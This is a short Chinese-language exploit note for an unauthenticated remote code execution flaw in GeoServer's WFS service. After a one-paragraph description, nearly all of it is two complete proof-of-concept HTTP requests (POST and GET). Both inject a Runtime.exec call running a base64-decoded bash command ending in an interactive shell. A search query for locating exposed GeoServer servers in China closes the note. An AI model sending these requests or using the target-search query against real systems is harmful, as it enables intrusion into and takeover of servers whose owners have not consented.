简介
在GeoServer 2.25.1, 2.24.3, 2.23.5版本及以前,未登录的任意用户可以通过构造恶意OGC请求,在默认安装的服务器中执行XPath表达式,进而利用执行Apache Commons Jxpath提供的功能执行任意代码。GeoServer 是 OpenGIS Web 服务器规范的 J2EE 实现,利用 GeoServer 可以方便的发布地图数据,允许用户对特征数据进行更新、删除、插入操作。
漏洞详情
## POC1 POST
POST /geoserver/wfs HTTP/1.1
Host: host:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 379
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'bash -c {echo,base64(shell)}|{base64,-d}|{bash,-i}')</wfs:valueReference>
</wfs:GetPropertyValue>
POC 2 GET
GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'bash%20-c%20%7Becho%2Curl(base64(shell))7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D') HTTP/1.1
Host: host:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
资产测绘
app.name="GeoServer" and ip.country="CN" and icp.is_exception="true"
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